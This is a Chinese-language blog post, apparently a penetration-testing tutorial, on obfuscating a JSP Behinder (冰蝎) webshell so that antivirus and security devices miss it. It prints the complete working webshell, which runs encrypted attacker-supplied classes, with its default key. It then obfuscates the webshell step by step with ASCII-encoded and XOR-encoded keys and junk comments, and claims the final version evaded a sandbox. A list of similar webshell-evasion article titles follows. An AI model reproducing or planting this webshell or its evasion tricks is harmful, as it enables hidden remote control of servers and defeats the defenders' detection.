前言

在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限。然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全设备拦截,因此对webshell文件进行免杀操作是不可或缺的。本处仅对jsp类型的webshell文件进行一个冰蝎马免杀思路的介绍。

思路

在对webshell文件进行免杀操作之前首先得明白,有哪些操作能够使得webshell文件具有免杀的属性。


1、增加注释
2、增加不重要的代码段
3、对代码进行混肴加密
4、对代码进行拆分重组
5、增加反射
……………………

免杀方式千千万,总有一款适合你。简而言之,搞到最后,自己都读不懂自己的代码的时候,恭喜你,免杀了!

本篇文章仅对冰蝎马的免杀方式做一个简单的介绍,主要是介绍免杀jsp马子时候的思路实现。

测试

首先看一个常规的jsp的冰蝎马的代码。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

其在一行里面将整个代码都写了出来,那是相当的乱啊。不过,先看看他的免杀性如何?

对于这个结果也是意料之中,情理之中的了。

咱们先对冰蝎马进行一个格式化的操作,有便于去理解修改,顺手把里面的注释也给删掉。

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}
}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>

直观的看上去,哪儿最好搞捏?当然是k这里呀!

我们把k里面的数值用ascall码一个一个对照输出出来,虽然完成的结果是一样的,但是多少能够限制杀软理解马子的步伐的吧。

那么问题来了,“e45e329feb5d925b”的ascall值是多少?掰开对照表一个一个看?不可能,绝对不可能,能用代码解决的问题,绝对不可能动手!

这里是一个python的转换代码

s = 'e45e329feb5d925b'
a = []
for i in s:a.append(ord(i))
print(a)

输出结果为

[101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98]

那么现在就可以把k的部分改成

String k="";
int[] ee=new int[]{101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98}
for (int i=0;i < ee.length;i++) {k=k+ (char) ee[i];
}

经过这样一个转换之后,k的值就会等于“e45e329feb5d925b“,那么这样就OK了嘛?NONONO!

既然都已经转换成ascall码了,那就再做个异或的操作吧。

python的异或代码

s = 'e45e329feb5d925b'
a = []
for i in s:a.append(ord(i))
for i in range(0, len(a)):a[i] = a[i] ^ 0x010
print(a)

输出结果为

[117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114]

那么现在就可以把k的部分改成

String k="";
int[] ee=new int[]{117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114}
for (int i=0;i < ee.length;i++) {ee[i]=ee[i] ^ 0x010;k=k+ (char) ee[i];
}

这么一通操作下来,你以为就能免杀了嘛?免杀哪有那么轻松。

不过可以祭出终极杀招,百试百灵---加注释。

这个加注释可不是加一条两条就可以的,也不是随便加都行的。经过测试,必须加在标点符号之后,于是乎在所有.和,之间都加上注释,代码变成了

<%@page import="java./*YDjdiejmPL*/util./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/spec./*YDjdiejmPL*/*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super./*YDjdiejmPL*/defineClass(b,/*ksafjKJOIldk*/0,/*ksafjKJOIldk*/b./*YDjdiejmPL*/length);}
}%>
<%if (request./*YDjdiejmPL*/getMethod()./*YDjdiejmPL*/equals("POST")){String k="";int[] ee=new int[]{117,/*ksafjKJOIldk*/ 36,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 35,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 118,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 114,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 116,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 114}for (int i=0;i < ee./*YDjdiejmPL*/length;i++) {ee[i]=ee[i] ^ 0x010;k=k+ (char) ee[i];}session./*YDjdiejmPL*/putValue("u",/*ksafjKJOIldk*/k);Cipher c=Cipher./*YDjdiejmPL*/getInstance("AES");c./*YDjdiejmPL*/init(2,/*ksafjKJOIldk*/new SecretKeySpec(k./*YDjdiejmPL*/getBytes(),/*ksafjKJOIldk*/"AES"));new U(this./*YDjdiejmPL*/getClass()./*YDjdiejmPL*/getClassLoader())./*YDjdiejmPL*/g(c./*YDjdiejmPL*/doFinal(new sun./*YDjdiejmPL*/misc./*YDjdiejmPL*/BASE64Decoder()./*YDjdiejmPL*/decodeBuffer(request./*YDjdiejmPL*/getReader()./*YDjdiejmPL*/readLine())))./*YDjdiejmPL*/newInstance()./*YDjdiejmPL*/equals(pageContext);
}%>

现在再看看捏?

没有一丝丝的防备~!就免杀了。

附一张之前跑的沙箱结果

jsp的免杀里面还可以加上反射,然后再加上异或之类的操作就更好了。不过弟弟反射没学好,这边就不献丑了。

END

Webshell免杀-JSP相关推荐

  1. JSP webshell免杀——JSP的基础

    唉,每次开启JSP都要好一会儿. 话说我也不知道为啥,我的每次开启条件一次比一次苛刻.一开始必应就可以打开,再后来只能由谷歌打开,现在可好了得开着代理用谷歌才能进去. 一个JSP页面可由5种元素组合而 ...

  2. Webshell免杀绕过waf

    转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...

  3. Webshell免杀研究

    前一个阶段闲着没事干,所以将之前做的关于webshell免杀的一篇研究性文章发表了出来,供大家一起学习探讨,文章目录如下,目前已发表与先知社区,欢迎探讨交流~ 文章链接:https://xz.aliy ...

  4. webshell免杀的一些学习和思考——以PHP为例

    目录 前言 一.关于webshell 1.数据传递 (1)HTTP请求中获取数据 (2)从远程URL中获取数据 (3)从磁盘文件中获取数据 (4)从数据库中读取 (5)从图片头部中获取 2.代码执行 ...

  5. JSP webshell免杀——webshell免杀

    好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...

  6. 【网络安全】一些webshell免杀的技巧

    前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...

  7. 流包装器实现WebShell免杀

    说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...

  8. Webshell免杀-PHP

    前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...

  9. 免杀实战之面向PHP的WebShell免杀

    0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php as ...

最新文章

  1. freemarker-ide eclipse安装地址 安装方法 页面静态化
  2. 接上篇-找虚拟主机过程
  3. java怎么更改目标文件夹_java – IntelliJ无法同步目标文件夹中的更改
  4. 深度学习 点积的概念
  5. wxWidgets:wxURI类用法
  6. 如何利用PHP会话显示出当前在线的用户
  7. ROS笔记(31) ArbotiX关节控制器
  8. Soul网关源码阅读(七)限流插件初探
  9. [论文阅读] Stereoscopically Attentive Multi-scale Network for Lightweight Salient Object Detection
  10. 计算机英语邓广慧,地方高校理工类大学生专业英语教学改革探讨
  11. Unbuntu环境编译 Android平台可用ffmpeg(带三方库fdk-aac和lame)
  12. Markdown文档数学公式的使用
  13. opencv + contrib windows下源码编译
  14. ping通www.baidu.com的完整过程。
  15. 实例解析网络钓鱼攻击的幕后
  16. 雷赛dmc2410控制卡,驱动器 光栅 加电机
  17. Android Toast 自定义显示时长
  18. 一个诡异的问题的解决20211008
  19. 一文搞懂:FT、DTFT、DFT、IDFT
  20. 中国网络安全相关政策法规(2020第一季度)

热门文章

  1. 【图像分割】FCMKFCM MRI图像分割【含GUI Matlab源码 582期】
  2. Android--Wifi 基本结构
  3. 解决GitHub release下载慢、clone和push慢的问题
  4. java soa是什么_如何通俗易懂地解释什么是SOA?
  5. 五种让你一键关机的技巧经验技巧
  6. 产品范围与项目范围的联系与区别
  7. Migrate DB data using expdp/impdp
  8. 大型Android项目架构:基于组件化+模块化+Kotlin+协程+Flow+Retrofit+Jetpack+MVVM架构实现WanAndroid客户端
  9. 如何在微前端中加载 Vite 应用?
  10. 研发团队的绩效考核(一)